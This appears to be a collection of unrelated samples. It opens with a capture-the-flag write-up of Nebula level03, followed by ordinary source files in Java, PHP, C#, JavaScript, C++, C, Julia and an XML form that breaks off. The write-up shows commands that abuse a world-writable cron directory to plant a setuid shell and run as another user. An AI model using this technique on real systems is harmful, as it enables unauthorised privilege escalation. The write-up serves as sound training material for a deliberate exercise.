text:
layout: post
title: "Scheduled job"
category: CTF, Nebula
---

>         **[Nebula 03](http://exploit-exercises.com/nebula/level03) Agenda**: "Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes."

The software utility [Cron](http://en.wikipedia.org/wiki/Cron) is a time-based job scheduler in Unix-like computer operating systems. People who set up and maintain software environments use cron to schedule jobs (commands or shell scripts) to run periodically at fixed times, dates, or intervals.

{% highlight sh linenos %}
level03@nebula:/home/flag03$ ls -la
total 6
drwxr-x--- 3 flag03 level03  103 2011-11-20 20:39 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag03 flag03   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag03 flag03  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag03 flag03   675 2011-05-18 02:54 .profile
drwxrwxrwx 2 flag03 flag03     3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03    98 2011-11-20 21:22 writable.sh

level03@nebula:/home/flag03$ cat ./writable.sh

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
{% endhighlight %}

After a small overwiev, as we can see that cron launches "*writable.sh*", which in turn executes and cleans each script from "*writable.d*" directory. In last but not least order, it also notable the [ulimit](http://ss64.com/bash/ulimit.html) restriction (in our case, limit the usage of maximum amount of cpu time to 5 seconds).

The first way that comes to mind to solve it, based on writing the simplest shell:

{% highlight sh linenos %}
level03@nebula:/home/flag03$ mkdir /tmp/level03
level03@nebula:/home/flag03$ touch /tmp/level03/shell.c
level03@nebula:/home/flag03$ vi /tmp/level03/shell.c
{% endhighlight %}
{% highlight C linenos %}
int main(int argc, char **argv, char **envp)
{
  system("/bin/sh");
  return 0;
}
{% endhighlight %}
And after that, setup the task for cron scheduler.
{% highlight sh linenos %}
level03@nebula:/home/flag03$ cd writable.d/
level03@nebula:/home/flag03/writable.d$ cat > cmd.sh

gcc /tmp/level03/shell.c -o /home/flag03/shell;
chmod +s /home/flag03/shell;
{% endhighlight %}
At line 4, we use [gcc](http://en.wikipedia.org/wiki/GNU_Compiler_Collection) compiler to compile our source into [ELF](http://en.wikipedia.org/wiki/Executable_and_Linkable_Format). Ok, now let's pay a few minutes (more precisely - 3, in nebula-5) for cron to have the harvest time:

{% highlight sh linenos %}
level03@nebula:/home/flag03$ ls -la ./shell && file ./shell

-rwsrwsr-x 1 flag03 flag03 7161 2015-03-08 09:33 ./shell
./shell: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

level03@nebula:/home/flag03$ ./shell
sh-4.2$ whoami
flag03
sh-4.2$ getflag
You have successfully executed getflag on a target account
{% endhighlight %}

There's also exist the easier way:

{% highlight sh linenos %}
level03@nebula:/home/flag03/writable.d$ cat > enother.sh
getflag > /tmp/flag

level03@nebula:/home/flag03/writable.d$ cat /tmp/flag
You have successfully executed getflag on a target account
{% endhighlight %}

Don't forget to clean-up:

{% highlight sh linenos %}
level03@nebula:~$ rm -r /tmp/level03
level03@nebula:~$ rm /tmp/flag
{% endhighlight %}


text:
package androidx.work.impl.constraints.trackers;

import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.isNull;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
import static org.mockito.Mockito.when;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.BatteryManager;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;

import androidx.work.impl.constraints.ConstraintListener;

import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;

@RunWith(AndroidJUnit4.class)
public class BatteryNotLowTrackerTest {

    private static final int PLUGGED_IN = BatteryManager.BATTERY_PLUGGED_AC;
    private static final int NOT_PLUGGED_IN = BatteryNotLowTracker.BATTERY_PLUGGED_NONE;
    private static final int KNOWN_STATUS = BatteryManager.BATTERY_STATUS_CHARGING;
    private static final int UNKNOWN_STATUS = BatteryManager.BATTERY_STATUS_UNKNOWN;
    private static final float AT_LOW_PERCENTAGE = BatteryNotLowTracker.BATTERY_LOW_PERCENTAGE;
    private static final float ABOVE_LOW_PERCENTAGE =
            BatteryNotLowTracker.BATTERY_LOW_PERCENTAGE + 0.01f;

    private Context mMockContext;
    private BatteryNotLowTracker mTracker;
    private ConstraintListener<Boolean> mListener;

    @Before
    public void setUp() {
        mMockContext = mock(Context.class);
        when(mMockContext.getApplicationContext()).thenReturn(mMockContext);

        mTracker = new BatteryNotLowTracker(mMockContext);
        mListener = mock(ConstraintListener.class);
    }

    private void mockContextReturns(Intent expectedIntent) {
        when(mMockContext.registerReceiver((BroadcastReceiver) isNull(),
                any(IntentFilter.class))).thenReturn(expectedIntent);
    }

    private Intent createBatteryChangedIntent(int plugged, int status, float percent) {
        int scale = 100;
        int level = (int) (scale * percent);

        Intent intent = new Intent(Intent.ACTION_BATTERY_CHANGED);
        intent.putExtra(BatteryManager.EXTRA_PLUGGED, plugged);
        intent.putExtra(BatteryManager.EXTRA_STATUS, status);
        intent.putExtra(BatteryManager.EXTRA_LEVEL, level);
        intent.putExtra(BatteryManager.EXTRA_SCALE, scale);
        return intent;
    }

    private void testGetInitialStateHelper(
            int plugged, int status, float percentage, boolean expectedBatteryNotLow) {
        mockContextReturns(createBatteryChangedIntent(plugged, status, percentage));
        assertThat(mTracker.getInitialState(), is(expectedBatteryNotLow));
    }

    @Test
    @SmallTest
    public void testGetInitialState_nullIntent() {
        mockContextReturns(null);
        assertThat(mTracker.getInitialState(), is(nullValue()));
    }

    @Test
    @SmallTest
    public void testGetInitialState_notPlugged_knownStatus_atBatteryLowPercentage() {
        testGetInitialStateHelper(NOT_PLUGGED_IN, KNOWN_STATUS, AT_LOW_PERCENTAGE, false);
    }

    @Test
    @SmallTest
    public void testGetInitialState_plugged_knownStatus_aboveBatteryLowPercentage() {
        testGetInitialStateHelper(PLUGGED_IN, KNOWN_STATUS, ABOVE_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetInitialState_plugged_knownStatus_atBatteryLowPercentage() {
        testGetInitialStateHelper(PLUGGED_IN, KNOWN_STATUS, AT_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetInitialState_plugged_unknownStatus_aboveBatteryLowPercentage() {
        testGetInitialStateHelper(PLUGGED_IN, UNKNOWN_STATUS, ABOVE_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetInitialState_plugged_unknownStatus_atBatteryLowPercentage() {
        testGetInitialStateHelper(PLUGGED_IN, UNKNOWN_STATUS, AT_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetInitialState_notPlugged_knownStatus_aboveBatteryLowPercentage() {
        testGetInitialStateHelper(NOT_PLUGGED_IN, KNOWN_STATUS, ABOVE_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetInitialState_notPlugged_unknownStatus_aboveBatteryLowPercentage() {
        testGetInitialStateHelper(NOT_PLUGGED_IN, UNKNOWN_STATUS, ABOVE_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetInitialState_notPlugged_unknownStatus_atBatteryLowPercentage() {
        testGetInitialStateHelper(NOT_PLUGGED_IN, UNKNOWN_STATUS, AT_LOW_PERCENTAGE, true);
    }

    @Test
    @SmallTest
    public void testGetIntentFilter() {
        IntentFilter intentFilter = mTracker.getIntentFilter();
        assertThat(intentFilter.hasAction(Intent.ACTION_BATTERY_OKAY), is(true));
        assertThat(intentFilter.hasAction(Intent.ACTION_BATTERY_LOW), is(true));
        assertThat(intentFilter.countActions(), is(2));
    }

    @Test
    @SmallTest
    public void testOnBroadcastReceive_invalidIntentAction_doesNotNotifyListeners() {
        mockContextReturns(
                createBatteryChangedIntent(PLUGGED_IN, KNOWN_STATUS, ABOVE_LOW_PERCENTAGE));
        mTracker.addListener(mListener);
        verify(mListener).onConstraintChanged(true);

        mTracker.onBroadcastReceive(mMockContext, new Intent("INVALID"));
        verifyNoMoreInteractions(mListener);
    }

    @Test
    @SmallTest
    public void testOnBroadcastReceive_notifiesListeners() {
        mockContextReturns(
                createBatteryChangedIntent(NOT_PLUGGED_IN, KNOWN_STATUS, AT_LOW_PERCENTAGE));
        mTracker.addListener(mListener);
        verify(mListener).onConstraintChanged(false);

        mTracker.onBroadcastReceive(mMockContext, new Intent(Intent.ACTION_BATTERY_OKAY));
        verify(mListener).onConstraintChanged(true);
        mTracker.onBroadcastReceive(mMockContext, new Intent(Intent.ACTION_BATTERY_LOW));
        verify(mListener, times(2)).onConstraintChanged(false);
    }
}

redpajama_set_name: RedPajamaGithub


text:
<?php

class Model_History extends \Model
{
	static public function fetchAll()
	{
		$sql = "SELECT * FROM histories ORDER BY start_at DESC";
		return DB::query($sql)->execute()->as_array();
	}
}


text:
using UnityEngine;
using System.Collections;

public class CarRankTracker : MonoBehaviour
{

    public int Lap = 0;
    public int Rank = 0;
    public float NodeDistance = 0f;
    public int NodeID = 0;
    public GameObject NextNode;
    public bool IsPlayer = false;
    public bool HasPassedMidPoint = false;
}


text:
import React from 'react'
import { Segment } from 'shengnian-ui-react'

const SegmentExampleEmphasisInverted = () => (
  <div>
    <Segment inverted>
      I'm here to tell you something, and you will probably read me first.
    </Segment>
    <Segment inverted secondary>
      I am pretty noticeable but you might check out other content before you look at me.
    </Segment>
    <Segment inverted tertiary>
      If you notice me you must be looking very hard.
    </Segment>
  </div>
)

export default SegmentExampleEmphasisInverted


text:
define([
    // import all dependencies
    "jquery",
    "underscore",
    "highlight",
    "bootstrap",
    "blockly",
    "blocks",

    // load some other objects used in this application
    "./Workspace",
    "./Connection",
    "./Notifications",

    "ace/ace"
    ], function(
        $,
        _,
        highlight,
        bootstrap,
        Blockly,
        Blocks,
        Workspace,
        Connection,
        Notifications,
        ace
){
    // store ace in a global (accessed that way from blockly => field_code.js)
    // (? Can we load ace using closure ???)
    window.ace = ace;
    // Also preload ace theme & mode
    ace.require(["ace/theme/xcode", "ace/mode/csharp"]);

    // Enable asserts in Blockly
    if(window.SCRATCHITYDEBUGMODE) {
        goog.asserts.ENABLE_ASSERTS = true;
    }

    // Configure highlight
    highlight.configure({
      tabReplace: '    '
    });

    /**
     * Util function - convert a name entered by the user to camelcase. (for cs file naming)
     */
    var toCamelCase = function(str) {
        return str
            .replace(/[^A-Za-z0-9]/g, " ")
            .replace(/\s(.)/g, function($1) { return $1.toUpperCase(); })
            .replace(/\s/g, '')
            .replace(/^(.)/, function($1) { return $1.toUpperCase(); })
            .replace(/^([0-9])/, function($1) { return "_"+$1; });
    }

    /**
     * Constructor of the main object which initializes all the functionality on the page.
     *
     * @constructor
     */
    var Main = function() {
        this.cs = new Connection();

        this.ws = new Workspace($(".pagecontainer")[0]);

        this._filename = null;

        // Load toolbox
        this.cs.loadToolbox(_.bind(function(xml) {
            this.toolboxxml_ = xml;

            var toolboxxml = this.getTranslatedToolboxXml_();
            this.ws.setToolbox(toolboxxml);

            // Toolbox is loaded... Continue initialization
            this.ws.init();
            this._updateFilename();

            this._initButtons();

            this.ws.onChange(_.bind(function() {
                this.setConfigurationSaved(false);
                this.updateCodePreview();
            }, this));

            $("body").removeClass("loading");

            this.updateCodePreview();

            // Initialize file open functionality
            window.onhashchange = _.bind(this._onUpdateHash, this);

            // Open file
            this._onUpdateHash();

        }, this), _.bind(function(){
            Notifications.notifyError("Failed to load toolbox.");
        }, this));

        // Code preview area
        this.codepreviewpre = $(".generatedcodepre");
    };

    Main.prototype.getTranslatedToolboxXml_ = function() {
      var xml = $(this.toolboxxml_).get(0);

      // Translation in the toolbox!
      var fields = xml.getElementsByTagName("field");
      for (var i = 0; i < fields.length; i++) {
        var fieldtext = fields[i].getAttribute("i18n");
        if(fieldtext) {
          fields[i].removeChild(fields[i].firstChild);
          fields[i].insertBefore(document.createTextNode(Blockly.Msg[fieldtext]), fields[i].firstChild);
        }
      }

      return xml;
    };

    /**
     * Called when the language changes. We should reload the view.
     */
    Main.prototype.reload = function() {
      this.ws.initProgram(this.ws.getProgram());
      var toolboxxml = this.getTranslatedToolboxXml_();
      this.ws.setToolbox(toolboxxml);
    };

    /**
     * @private
     * Attach click listeners to the save & new buttons
     */
    Main.prototype._initButtons = function() {
        $("#saveProgram").click(_.bind(this.save, this));
        $(".showhidecodetoggle").click(_.bind(this.toggleCodeArea, this));
    };

    /**
     * @private
     * Put the current file name in the header
     */
    Main.prototype._updateFilename = function() {
        if(!this._filename) {
            $("#filenamedisplay")[0].textContent = Blockly.Msg.UI_UNNAMED_FILE;
        }else{
            var filenamesplit = this._filename.split(/[/\\]/);
            $("#filenamedisplay")[0].textContent = filenamesplit[filenamesplit.length-1];
        }
    };

    Main.prototype._onUpdateHash = function() {
      var filename = location.hash.substr(1);
      this.load(filename);
    };

    Main.prototype._getClassName = function() {
      if(this._filename !== null) {
        var pieces = this._filename.split(/[\\/]/);
        return pieces[pieces.length-1];
      } else {
        return "???";
      }
    };

    /**
     * Update the code in the preview...
     */
    Main.prototype.updateCodePreview = function() {
        try{
          var code = this.ws.generateCode(this._getClassName());
        } catch (e) {
          this.codepreviewpre.text("ERROR");
          // KNOWN BUG in developer mode (does not happen in a build)
          // -> you get an error here because some code generation files got loaded in the wrong order...
          // Just refresh the page and try again. ;)
          // (I am too lazy too fix it - and I am currently the only developer)
          throw e;
        }
        this.codepreviewpre.text(code);
        highlight.highlightBlock(this.codepreviewpre[0]);
    };

    /**
     * Called when the save button is clicked
     */
    Main.prototype.save = function() {
        if(!this._filename) {
            var userinput = prompt(Blockly.Msg.UI_NAME_FILE_MSG, "Scripts/HelloWorld");
            if(!userinput) {
                return;
            }
            var pieces = userinput.split(/[\\/]/);
            var path = pieces.slice(0, -1).join("/");
            this._filename = (path.length>0?path+"/":"")+toCamelCase(pieces[pieces.length-1]);
            this._updateFilename();
        }
        Notifications.buzy(Blockly.Msg.UI_SAVE);
        this.cs.save(this._filename, this.ws.getProgram(), this.ws.generateCode(this._getClassName()), _.bind(function(){
            Notifications.done();
        }, this), _.bind(function(){
            Notifications.done();
            Notifications.notifyError(Blockly.Msg.UI_SAVE_FAILURE);
        }, this));
    };

    /**
     * Show whether the configuration is saved
     */
    Main.prototype.setConfigurationSaved = function(isSaved) {
        // TODO

    };

    /**
     * Function which will execute the continueCallback if the current file is saved.
     * If not, this function might ask whether you want to save the file. (and call the callback later)
     */
    Main.prototype.checkSaved = function(continuecallback) {
        // TODO

        // Always continue
        continuecallback();
    };

    /**
     * Called when the user wants to load a different file
     *
     * @param {String} file - the name of the file to load
     */
    Main.prototype.load = function(file) {
        this.checkSaved(_.bind(function(){
            Notifications.buzy(Blockly.Msg.UI_LOAD);
            this.cs.load(file, _.bind(function(data) {
                Notifications.done();
                this._filename = file;
                this.ws.initProgram(data);
                this._updateFilename();
                this.updateCodePreview();
                //Notifications.notifySuccess("Bestand geladen!");
            }, this), _.bind(function() {
                Notifications.done();
                Notifications.notifyError(Blockly.Msg.UI_LOAD_FAILURE);
            }, this));
        }, this));
    };

    /**
     * Toggle the code area section
     */
    Main.prototype.toggleCodeArea = function() {
        $(".codecontainer").toggleClass("open");
    };

    //
    // Load the language!
    //
    var loadLanguage = function (lang, next) {
      if(lang !== curLanguage) {
        $.ajax({
          dataType : "script",
          cache : true,
          url : "../blockly/msg/js/"+lang+".js"
        }).then(function() {
          // set the new language preference
          $.ajax("/api/setlang/"+lang, {
            method:"POST"
          });

          // update some places in the UI manually
          $(".codecontent h5").text(Blockly.Msg.UI_GENERATED_CODE);
          curLanguage = lang;

          // reload workspace if already loaded
          if(window.main) {
            window.main.reload();
          }

          if(next) {
            next();
          }
        });
      }
    };

    // All known languages
    var availableLanguages = [];

    // Register language dropdown links
    $(".languageitem").each(function(i, e) {
      var lang = $(e).attr("data-lang");
      availableLanguages.push(lang);
      $(e).click(function() {
        loadLanguage(lang);
      });
    })

    // Pick the language to load...
    var curLanguage = "null";
    var langToLoad = availableLanguages[0];
    var lang = navigator.language || navigator.userLanguage;
    for(var i=1;i<availableLanguages.length;i++) {
      if (lang.indexOf(availableLanguages[i]) == 0) {
        langToLoad = availableLanguages[i];
        break;
      }
    }

    // Get the language preference for the user...
    $.ajax("/api/lang", {
      method:"POST",
      data:{},
      success:function(data){
          if(data) {
            langToLoad = data;
          }
          init();
      },
      error:function(){
          init();
      }
    });

    var init = function() {
      loadLanguage(langToLoad, function() {
        //
        // When loading this file, remove the buzy indicator and immediatelly start the "Main" code!
        //
        Notifications.done();
        window.main = new Main();
      });
    };
});


text:
package com.nike.cerberus.client.aws;

import com.amazonaws.regions.Regions;
import com.amazonaws.services.kinesisfirehose.AmazonKinesisFirehoseClient;
import com.amazonaws.services.kinesisfirehose.AmazonKinesisFirehoseClientBuilder;
import com.nike.cerberus.service.AwsClientFactory;

public class KinesisFirehoseAwsClientFactory extends AwsClientFactory<AmazonKinesisFirehoseClient> {

    @Override
    public AmazonKinesisFirehoseClient getClient(Regions region) {
        if (!clients.containsKey(region)) {
            clients.put(region, createClient(region));
        }
        return clients.get(region);
    }

    private AmazonKinesisFirehoseClient createClient(Regions region) {
        return (AmazonKinesisFirehoseClient) AmazonKinesisFirehoseClientBuilder.standard()
                .withRegion(region)
                .withCredentials(getAWSCredentialsProviderChain())
                .build();
    }

}


text:
#ifndef __TBB_recursive_mutex_H
#define __TBB_recursive_mutex_H

#if _WIN32||_WIN64

#include <windows.h>
#if !defined(_WIN32_WINNT)
// The following Windows API function is declared explicitly;
// otherwise any user would have to specify /D_WIN32_WINNT=0x0400
extern "C" BOOL WINAPI TryEnterCriticalSection( LPCRITICAL_SECTION );
#endif

#else /* if not _WIN32||_WIN64 */

#include <pthread.h>
namespace tbb { namespace internal {
// Use this internal TBB function to throw an exception
  extern void handle_perror( int error_code, const char* what );
} } //namespaces

#endif /* _WIN32||_WIN64 */

#include <stdio.h>
#include "tbb_stddef.h"

namespace tbb {
//! Mutex that allows recursive mutex acquisition.
/** Mutex that allows recursive mutex acquisition.
    @ingroup synchronization */
class recursive_mutex {
public:
    //! Construct unacquired recursive_mutex.
    recursive_mutex() {
#if TBB_DO_ASSERT
        internal_construct();
#else
  #if _WIN32||_WIN64
        InitializeCriticalSection(&impl);
  #else
        pthread_mutexattr_t mtx_attr;
        int error_code = pthread_mutexattr_init( &mtx_attr );
        if( error_code )
            tbb::internal::handle_perror(error_code,"recursive_mutex: pthread_mutexattr_init failed");

        pthread_mutexattr_settype( &mtx_attr, PTHREAD_MUTEX_RECURSIVE );
        error_code = pthread_mutex_init( &impl, &mtx_attr );
        if( error_code )
            tbb::internal::handle_perror(error_code,"recursive_mutex: pthread_mutex_init failed");

        pthread_mutexattr_destroy( &mtx_attr );
  #endif /* _WIN32||_WIN64*/
#endif /* TBB_DO_ASSERT */
    };

    ~recursive_mutex() {
#if TBB_DO_ASSERT
        internal_destroy();
#else
  #if _WIN32||_WIN64
        DeleteCriticalSection(&impl);
  #else
        pthread_mutex_destroy(&impl);

  #endif /* _WIN32||_WIN64 */
#endif /* TBB_DO_ASSERT */
    };

    class scoped_lock;
    friend class scoped_lock;

    //! The scoped locking pattern
    /** It helps to avoid the common problem of forgetting to release lock.
        It also nicely provides the "node" for queuing locks. */
    class scoped_lock : private internal::no_copy {
    public:
        //! Construct lock that has not acquired a recursive_mutex.
        scoped_lock() : my_mutex(NULL) {};

        //! Acquire lock on given mutex.
        /** Upon entry, *this should not be in the "have acquired a mutex" state. */
        scoped_lock( recursive_mutex& mutex ) {
            acquire( mutex );
        }

        //! Release lock (if lock is held).
        ~scoped_lock() {
            if( my_mutex )
                release();
        }

        //! Acquire lock on given mutex.
        void acquire( recursive_mutex& mutex ) {
#if TBB_DO_ASSERT
            internal_acquire( mutex );
#else
            my_mutex = &mutex;
  #if _WIN32||_WIN64
            EnterCriticalSection(&mutex.impl);
  #else
            pthread_mutex_lock( &mutex.impl );
  #endif /* _WIN32||_WIN64 */
#endif /* TBB_DO_ASSERT */
        }

        //! Try acquire lock on given recursive_mutex.
        bool try_acquire( recursive_mutex& mutex ) {
#if TBB_DO_ASSERT
            return internal_try_acquire( mutex );
#else
            bool result;
  #if _WIN32||_WIN64
            result = TryEnterCriticalSection(&mutex.impl)!=0;
  #else
            result = pthread_mutex_trylock(&mutex.impl)==0;
  #endif /* _WIN32||_WIN64 */
            if( result )
                my_mutex = &mutex;

            return result;
#endif /* TBB_DO_ASSERT */
        }

        //! Release lock
        void release() {
#if TBB_DO_ASSERT
            internal_release ();
#else
  #if _WIN32||_WIN64
            LeaveCriticalSection(&my_mutex->impl);
  #else
            pthread_mutex_unlock(&my_mutex->impl);
  #endif /* _WIN32||_WIN64 */
            my_mutex = NULL;
#endif /* TBB_DO_ASSERT */
        }

    private:
        //! The pointer to the current recursive_mutex to work
        recursive_mutex* my_mutex;

        //! All checks from acquire using mutex.state were moved here
        void internal_acquire( recursive_mutex& m );

        //! All checks from try_acquire using mutex.state were moved here
        bool internal_try_acquire( recursive_mutex& m );

        //! All checks from release using mutex.state were moved here
        void internal_release();
    };

    // Mutex traits
    static const bool is_rw_mutex = false;
    static const bool is_recursive_mutex = true;
    static const bool is_fair_mutex = false;

private:
#if _WIN32||_WIN64
    CRITICAL_SECTION impl;
    enum state_t {
        INITIALIZED=0x1234,
        DESTROYED=0x789A,
    } state;
#else
    pthread_mutex_t impl;
#endif /* _WIN32||_WIN64 */

    //! All checks from mutex constructor using mutex.state were moved here
    void internal_construct();

    //! All checks from mutex destructor using mutex.state were moved here
    void internal_destroy();
};

} // namespace tbb

#endif /* __TBB_recursive_mutex_H */


text:
/* This file was generated by upbc (the upb compiler) from the input
 * file:
 *
 *     envoy/type/matcher/v3/number.proto
 *
 * Do not edit -- your changes will be discarded when the file is
 * regenerated. */

#include <stddef.h>
#include "upb/msg.h"
#include "envoy/type/matcher/v3/number.upb.h"
#include "envoy/type/v3/range.upb.h"
#include "udpa/annotations/status.upb.h"
#include "udpa/annotations/versioning.upb.h"
#include "validate/validate.upb.h"

#include "upb/port_def.inc"

static const upb_msglayout *const envoy_type_matcher_v3_DoubleMatcher_submsgs[1] = {
  &envoy_type_v3_DoubleRange_msginit,
};

static const upb_msglayout_field envoy_type_matcher_v3_DoubleMatcher__fields[2] = {
  {1, UPB_SIZE(0, 0), UPB_SIZE(-9, -9), 0, 11, 1},
  {2, UPB_SIZE(0, 0), UPB_SIZE(-9, -9), 0, 1, 1},
};

const upb_msglayout envoy_type_matcher_v3_DoubleMatcher_msginit = {
  &envoy_type_matcher_v3_DoubleMatcher_submsgs[0],
  &envoy_type_matcher_v3_DoubleMatcher__fields[0],
  UPB_SIZE(16, 16), 2, false, 255,
};

#include "upb/port_undef.inc"


text:
module IO

"""
Abstract file format type.

See `subtypes(FileFormat)` for all available file formats.
"""
abstract FileFormat

"""
Abstract formatted input/output type.
"""
abstract AbstractFormattedIO

"""
    stream(io::AbstractFormattedIO)

Return the underlying `IO` object; subtypes of `AbstractFormattedIO` must
implement this method.
"""
function stream end

# delegate method call
for f in (:eof, :flush, :close)
    @eval function Base.$(f)(io::AbstractFormattedIO)
        return $(f)(stream(io))
    end
end

function Base.open{T<:AbstractFormattedIO}(f::Function, ::Type{T}, args...; kwargs...)
    io = open(T, args...; kwargs...)
    try
        f(io)
    finally
        close(io)
    end
end

"""
Abstract data reader type.

See `subtypes(AbstractReader)` for all available data readers.
"""
abstract AbstractReader <: AbstractFormattedIO

Base.iteratorsize{T<:AbstractReader}(::Type{T}) = Base.SizeUnknown()

function Base.open{T<:AbstractReader}(::Type{T}, filepath::AbstractString, args...; kwargs...)
    return T(open(filepath), args...; kwargs...)
end

"""
Abstract data writer type.

See `subtypes(AbstractWriter)` for all available data writers.
"""
abstract AbstractWriter <: AbstractFormattedIO

function Base.open{T<:AbstractWriter}(::Type{T}, filepath::AbstractString, args...; kwargs...)
    i = findfirst(kwarg -> kwarg[1] == :append, kwargs)
    if i > 0
        append = kwargs[i][2]
        if !isa(append, Bool)
            throw(ArgumentError("append must be boolean"))
        end
        deleteat!(kwargs, i)
    else
        append = false
    end
    return T(open(filepath, append ? "a" : "w"), args...; kwargs...)
end

# removed function calls
function Base.open{F<:FileFormat}(::AbstractString, ::Type{F})
    error("open(filepath, format) syntax has been removed. Please use open(reader|writer, filepath) instead.")
end

function Base.open{F<:FileFormat}(::AbstractString, ::AbstractString, ::Type{F})
    error("open(filepath, mode, format) syntax has been removed. Please use open(reader|writer, filepath) instead.")
end

end  # module Bio.IO


text:
<?php
namespace TemplateDesigner\LayoutBundle\Annotation;

/**
 * @Annotation
 */
final class LayoutAnnotation
{

	protected $name;
	protected $position;

	public function __construct(array $data){
		$this->name = $data['name'];
		if(isset($data['position']))$this->position = $data['position'];
	}

	public function getName(){
		return $this->name;
	}

	public function getPosition(){
		return $this->position;
	}
}


text:
<?xml version="1.0" encoding="UTF-8"?>

<div xmlns="http://www.w3.org/1999/xhtml" xmlns:xhtml="http://www.w3.org/1999/xhtml" component="$model/UI2/system/components/justep/window/window" xid="window" data-bind="component:{name:'$model/UI2/system/components/justep/window/window'}" components="$model/UI2/system/components/justep/button/checkbox,$model/UI2/system/components/justep/select/select,$model/UI2/system/components/justep/textarea/textarea,$model/UI2/system/components/justep/blob/blobImage,$model/UI2/system/components/justep/select/radioGroup,$model/UI2/system/components/justep/model/model,$model/UI2/system/components/justep/window/window,$model/UI2/system/components/justep/select/checkboxGroup,$model/UI2/system/components/justep/button/radio,$model/UI2/system/components/justep/data/data,$model/UI2/system/components/justep/input/input,$model/UI2/system/components/justep/excellayout/excellayout,">

    <xhtml:table border="0" cellpadding="0" cellspacing="0" class="no-editor-border" style="width:875px;height:802px;border-collapse: collapse; table-layout: fixed;">
      <xhtml:tr height="0px">
        <xhtml:td width="29px" height="0px"/>
        <xhtml:td width="91px" height="0px"/>
        <xhtml:td width="163px" height="0px"/>
        <xhtml:td width="13px" height="0px"/>
        <xhtml:td width="69px" height="0px"/>
        <xhtml:td width="143px" height="0px"/>
        <xhtml:td width="14px" height="0px"/>
        <xhtml:td width="69px" height="0px"/>
        <xhtml:td width="143px" height="0px"/>
        <xhtml:td width="141px" height="0px"/>
      </xhtml:tr>
      <xhtml:tr height="84px">
        <xhtml:td height="84px"/>
        <xhtml:td height="84px" colspan="9" style="Text-Align:Center;Vertical-Align:Middle;Font-Family:隶书;Font-Size:26pt;Color:#000000;">员工登记表</xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="23px">
        <xhtml:td height="23px"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;">个人资料</xhtml:td>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;">登记日期</xhtml:td>
        <xhtml:td height="23px" style="Vertical-Align:Middle;Background:#F2F2F2;"/>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">姓名</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input6" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
        <xhtml:td height="51px" rowspan="4" style="Text-Align:Center;Vertical-Align:Middle;"/>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">性别</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">

            <xhtml:span component="$model/UI2/system/components/justep/button/radio" class="x-radio" data-config="{"checked":false,"disabled":false}" data-bind="component:{name:'$model/UI2/system/components/justep/button/radio',value:ref('col0'),label:ref('col1')}">
              <xhtml:input type="radio"/>
              <xhtml:label/>
            </xhtml:span>

        </xhtml:td>
        <xhtml:td height="51px" rowspan="2" style="Text-Align:Center;Vertical-Align:Middle;"/>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">民族</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <select component="$model/UI2/system/components/justep/select/select" class="form-control" xid="select1" bind-options="data3.datas" bind-optionsValue="'col0'" bind-optionsText="'col0'" bind-optionsAfterRender="$model.__justep__.selectOptionsAfterRender.bind($model,$element)" data-bind="component:{name:'$model/UI2/system/components/justep/select/select'}"/>
        </xhtml:td>
        <xhtml:td height="51px" rowspan="4" style="Text-Align:Center;Vertical-Align:Middle;">

        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Text-Align:Left;Vertical-Align:Middle;">出生日期</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input1" style="height:100%;" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">婚姻状况</xhtml:td>
